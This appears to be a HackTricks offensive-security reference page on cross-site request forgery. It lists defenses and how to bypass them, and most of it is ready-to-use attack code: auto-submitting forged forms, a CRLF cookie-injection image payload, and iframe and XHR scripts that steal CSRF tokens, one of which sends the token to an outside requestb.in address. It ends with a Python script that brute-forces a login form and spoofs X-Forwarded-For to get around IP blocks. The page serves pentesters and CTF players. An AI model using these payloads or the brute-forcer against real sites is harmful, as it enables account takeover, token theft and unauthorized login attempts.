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587 lines
22 KiB
Markdown
587 lines
22 KiB
Markdown
# CSRF (Cross Site Request Forgery)
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## CSRF (Cross Site Request Forgery)
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<details>
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</details>
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## What is CSRF?
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**Cross-site request forger**y (also known as CSRF) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**.\
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This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**.
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### Requisites
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In order to be able to abuse a CSRF vulnerability you first need to **find a relevant action to abuse** (change password or email, make the victim follow you on a social network, give you more privileges...). The **session must rely only on cookies or HTTP Basic Authentication header**, any other header can't be used to handle the session. An finally, there **shouldn't be unpredictable parameters** on the request.
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Several **counter-measures** could be in place to avoid this vulnerability.
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### **Common defenses**
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* [**SameSite cookies**](hacking-with-cookies/#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.
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* [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._
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* Ask for the **password** user to authorise the action.
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* Resolve a **captcha**
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* Read the **Referrer** or **Origin** headers. If a regex is used it could be bypassed form example with:
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* http://mal.net?orig=http://example.com (ends with the url)
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* http://example.com.mal.net (starts with the url)
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* **Modify** the **name** of the **parameters** of the Post or Get request
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* Use a **CSRF token** in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
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### CSRF map
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.png>)
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## Defences Bypass
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### From POST to GET
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Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**.
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### Lack of token
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Some applications correctly **validate the token when it is present but skip the validation if the token is omitted**.\
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In this situation, the attacker can **remove the entire parameter** containing the token (not just its value) to bypass the validation and deliver a CSRF attack.
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### CSRF token is not tied to the user session
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Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool.\
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In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack.
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### Method bypass
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If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working.\
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For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
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This could also works sending the **\_method parameter inside the a POST request** or using the **headers**:
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* _X-HTTP-Method_
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* _X-HTTP-Method-Override_
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* _X-Method-Override_
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### Custom header token bypass
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If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then:
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* Test the request without the **Customized Token and also header.**
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* Test the request with exact **same length but different token**.
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### CSRF token is verified by a cookie
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In a further variation on the preceding vulnerability, some applications **duplicate each token within a cookie and a request parameter**. Or the **set a csrf cookie** and the **checks in the backend if the csrf token sent is the one related with the cookie**.
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When the subsequent request is validated, the application simply verifies that the **token** submitted in the **request parameter matches** the value stored by the **cookie**.\
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In this situation, the attacker can again perform a CSRF **attack if the web site contains any vulnerability what would allow him to set his CSRF cookie to the victim like a CRLF**.
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In this case you can set the cookie trying to load a fake image and then launch the CSRF attack like in this example:
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```html
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<html>
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<!-- CSRF PoC - generated by Burp Suite Professional -->
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<body>
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<script>history.pushState('', '', '/')</script>
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<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
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<input type="hidden" name="email" value="asd@asd.asd" />
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<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
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<input type="submit" value="Submit request" />
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</form>
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<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
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</body>
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</html>
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```
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{% hint style="info" %}
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Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself.
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{% endhint %}
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### Content-Type change
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According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
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* **`application/x-www-form-urlencoded`**
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* **`multipart/form-data`**
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* **`text/plain`**
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However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
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Example (from [here](https://brycec.me/posts/corctf\_2021\_challenges)) of sending JSON data as text/plain:
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```html
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<html>
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<body>
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<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
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<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
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</form>
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<script>
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form.submit();
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</script>
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</body>
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</html>
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```
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### application/json preflight request bypass
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As you already know, you cannot sent a POST request with the Content-Type **`application/json`** via HTML form, and if you try to do so via **`XMLHttpRequest`** a **preflight** request is sent first.\
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However, you could try to send the JSON data using the content types \*\*`text/plain` and `application/x-www-form-urlencoded` \*\* just to check if the backend is using the data independently of the Content-Type.\
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You can send a form using `Content-Type: text/plain` setting **`enctype="text/plain"`**
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If the server is only accepting the content type "application/json", you can **send the content type "text/plain; application/json"** without triggering a preflight request.
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You could also try to **bypass** this restriction by using a **SWF flash file**. More more information [**read this post**](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
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### Referrer / Origin check bypass
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**Avoid Referrer header**
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Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**.
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```markup
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<meta name="referrer" content="never">
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```
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**Regexp bypasses**
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{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
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[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
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{% endcontent-ref %}
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To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:
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```html
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<html>
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<!-- Referrer policy needed to send the qury parameter in the referrer -->
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<head><meta name="referrer" content="unsafe-url"></head>
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<body>
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<script>history.pushState('', '', '/')</script>
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<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
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<input type="hidden" name="email" value="asd@asd.asd" />
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<input type="submit" value="Submit request" />
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</form>
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<script>
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// You need to set this or the domain won't appear in the query of the referer header
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history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
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document.forms[0].submit();
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</script>
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</body>
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</html>
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```
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## **Exploit Examples**
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### **Exfiltrating CSRF Token**
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If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability.
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### **GET using HTML tags**
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```markup
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<img src="http://google.es?param=VALUE" style="display:none" />
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<h1>404 - Page not found</h1>
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The URL you are requesting is no longer available
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```
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Other HTML5 tags that can be used to automatically send a GET request are:
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.png>)
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### Form GET request
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```markup
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<html>
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<!-- CSRF PoC - generated by Burp Suite Professional -->
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<body>
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<script>history.pushState('', '', '/')</script>
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<form method="GET" action="https://victim.net/email/change-email">
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<input type="hidden" name="email" value="some@email.com" />
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<input type="submit" value="Submit request" />
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</form>
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<script>
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document.forms[0].submit();
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</script>
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</body>
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</html>
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```
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### Form POST request
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```markup
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<html>
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<body>
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<script>history.pushState('', '', '/')</script>
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<form action="https://victim.net/email/change-email" id="csrfform">
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<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
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<input type="submit" value="Submit request" />
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<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
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</form>
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<script>
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document.forms[0].submit(); //Way 3 to autosubmit
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</script>
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</body>
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</html>
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```
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### Form POST request through iframe
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```markup
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<!--
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The request is sent through the iframe withuot reloading the page
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-->
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<html>
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<body>
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<iframe style="display:none" name="csrfframe"></iframe>
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<form action="/change-email" id="csrfform" target="csrfframe">
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<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
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<input type="submit" value="Submit request" />
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</form>
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<script>
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document.forms[0].submit();
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</script>
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</body>
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</html>
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```
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### **Ajax POST request**
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```markup
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<script>
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var xh;
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if (window.XMLHttpRequest)
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{// code for IE7+, Firefox, Chrome, Opera, Safari
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xh=new XMLHttpRequest();
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}
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else
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{// code for IE6, IE5
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xh=new ActiveXObject("Microsoft.XMLHTTP");
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}
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xh.withCredentials = true;
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xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
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xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
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xh.send("username=abcd&status=on");
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</script>
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<script>
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//JQuery version
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$.ajax({
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type: "POST",
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url: "https://google.com",
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data: "param=value¶m2=value2"
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})
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</script>
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```
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### multipart/form-data POST request
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```javascript
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myFormData = new FormData();
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var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
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myFormData.append("newAttachment", blob, "pwned.php");
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fetch("http://example/some/path", {
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method: "post",
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body: myFormData,
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credentials: "include",
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headers: {"Content-Type": "application/x-www-form-urlencoded"},
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mode: "no-cors"
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});
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```
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### multipart/form-data POST request v2
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```javascript
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var fileSize = fileData.length,
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boundary = "OWNEDBYOFFSEC",
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xhr = new XMLHttpRequest();
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xhr.withCredentials = true;
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xhr.open("POST", url, true);
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// MIME POST request.
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xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
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xhr.setRequestHeader("Content-Length", fileSize);
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var body = "--" + boundary + "\r\n";
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body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
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body += "Content-Type: " + ctype + "\r\n\r\n";
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body += fileData + "\r\n";
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body += "--" + boundary + "--";
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//xhr.send(body);
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xhr.sendAsBinary(body);
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```
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### Form POST request from within an iframe
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```markup
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<--! expl.html -->
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<body onload="envia()">
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<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
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<input type="text" id="pwd" name="pwd" value="otra nueva">
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</form>
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<body>
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<script>
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function envia(){document.getElementById("formulario").submit();}
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</script>
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<!-- public.html -->
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<iframe src="2-1.html" style="position:absolute;top:-5000">
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</iframe>
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<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
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```
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### **Steal CSRF Token and send a POST request**
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```javascript
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function submitFormWithTokenJS(token) {
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var xhr = new XMLHttpRequest();
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xhr.open("POST", POST_URL, true);
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xhr.withCredentials = true;
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// Send the proper header information along with the request
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xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
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// This is for debugging and can be removed
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xhr.onreadystatechange = function() {
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if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
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//console.log(xhr.responseText);
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}
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}
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xhr.send("token=" + token + "&otherparama=heyyyy");
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}
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function getTokenJS() {
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var xhr = new XMLHttpRequest();
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// This tels it to return it as a HTML document
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xhr.responseType = "document";
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xhr.withCredentials = true;
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// true on the end of here makes the call asynchronous
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xhr.open("GET", GET_URL, true);
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xhr.onload = function (e) {
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if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
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// Get the document from the response
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page = xhr.response
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// Get the input element
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input = page.getElementById("token");
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// Show the token
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//console.log("The token is: " + input.value);
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// Use the token to submit the form
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submitFormWithTokenJS(input.value);
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}
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};
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// Make the request
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xhr.send(null);
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}
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var GET_URL="http://google.com?param=VALUE"
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var POST_URL="http://google.com?param=VALUE"
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getTokenJS();
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```
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### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax**
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```markup
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<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
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<input type="text" name="username" value="AA">
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<input type="checkbox" name="status" checked="checked">
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<input id="token" type="hidden" name="token" value="" />
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</form>
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<script type="text/javascript">
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function f1(){
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x1=document.getElementById("i1");
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x1d=(x1.contentWindow||x1.contentDocument);
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t=x1d.document.getElementById("token").value;
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document.getElementById("token").value=t;
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document.getElementById("form1").submit();
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}
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</script>
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<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
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```
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### **Steal CSRF Token and sen a POST request using an iframe and a form**
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```markup
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<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
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<script>
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function read()
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{
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var name = 'admin2';
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var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
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document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
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document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
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document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
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document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
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document.writeln('</form>');
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document.forms[0].submit.click();
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}
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</script>
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```
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### **Steal token and send it using 2 iframes**
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```markup
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<script>
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var token;
|
|
function readframe1(){
|
|
token = frame1.document.getElementById("profile").token.value;
|
|
document.getElementById("bypass").token.value = token
|
|
loadframe2();
|
|
}
|
|
function loadframe2(){
|
|
var test = document.getElementbyId("frame2");
|
|
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
|
}
|
|
</script>
|
|
|
|
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
|
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
|
height="600" width="800"></iframe>
|
|
|
|
<iframe id="frame2" name="frame2"
|
|
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
|
height="600" width="800"></iframe>
|
|
<body onload="document.forms[0].submit()">
|
|
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
|
<input type="text" name="username" value="z">
|
|
<input type="checkbox" name="status" checked="">
|
|
<input id="token" type="hidden" name="token" value="0000" />
|
|
<button type="submit">Submit</button>
|
|
</form>
|
|
```
|
|
|
|
### **POSTSteal CSRF token with Ajax and send a post with a form**
|
|
|
|
```markup
|
|
<body onload="getData()">
|
|
|
|
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
|
<input type="hidden" name="username" value="root"/>
|
|
<input type="hidden" name="status" value="on"/>
|
|
<input type="hidden" id="findtoken" name="token" value=""/>
|
|
<input type="submit" value="valider"/>
|
|
</form>
|
|
|
|
<script>
|
|
var x = new XMLHttpRequest();
|
|
function getData() {
|
|
x.withCredentials = true;
|
|
x.open("GET","http://google.com?param=VALUE",true);
|
|
x.send(null);
|
|
}
|
|
x.onreadystatechange = function() {
|
|
if (x.readyState == XMLHttpRequest.DONE) {
|
|
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
|
document.getElementById("findtoken").value = token;
|
|
document.getElementById("form").submit();
|
|
}
|
|
}
|
|
</script>
|
|
```
|
|
|
|
### CSRF with Socket.IO
|
|
|
|
```markup
|
|
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
|
<script>
|
|
let socket = io('http://six.jh2i.com:50022/test');
|
|
|
|
const username = 'admin'
|
|
|
|
socket.on('connect', () => {
|
|
console.log('connected!');
|
|
socket.emit('join', {
|
|
room: username
|
|
});
|
|
socket.emit('my_room_event', {
|
|
data: '!flag',
|
|
room: username
|
|
})
|
|
|
|
});
|
|
</script>
|
|
```
|
|
|
|
## CSRF Login Brute Force
|
|
|
|
The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):
|
|
|
|
```python
|
|
import request
|
|
import re
|
|
import random
|
|
|
|
URL = "http://10.10.10.191/admin/"
|
|
PROXY = { "http": "127.0.0.1:8080"}
|
|
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
|
USER = "fergus"
|
|
PASS_LIST="./words"
|
|
|
|
def init_session():
|
|
#Return CSRF + Session (cookie)
|
|
r = requests.get(URL)
|
|
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
|
csrf = csrf.group(1)
|
|
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
|
return csrf, session_cookie
|
|
|
|
def login(user, password):
|
|
print(f"{user}:{password}")
|
|
csrf, cookie = init_session()
|
|
cookies = {SESSION_COOKIE_NAME: cookie}
|
|
data = {
|
|
"tokenCSRF": csrf,
|
|
"username": user,
|
|
"password": password,
|
|
"save": ""
|
|
}
|
|
headers = {
|
|
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
|
}
|
|
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
|
if "Username or password incorrect" in r.text:
|
|
return False
|
|
else:
|
|
print(f"FOUND {user} : {password}")
|
|
return True
|
|
|
|
with open(PASS_LIST, "r") as f:
|
|
for line in f:
|
|
login(USER, line.strip())
|
|
```
|
|
|
|
## Tools <a href="#tools" id="tools"></a>
|
|
|
|
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
|
|
|
## References
|
|
|
|
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
|
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
|
|
|
<details>
|
|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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|
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
|
|
|
</details>
|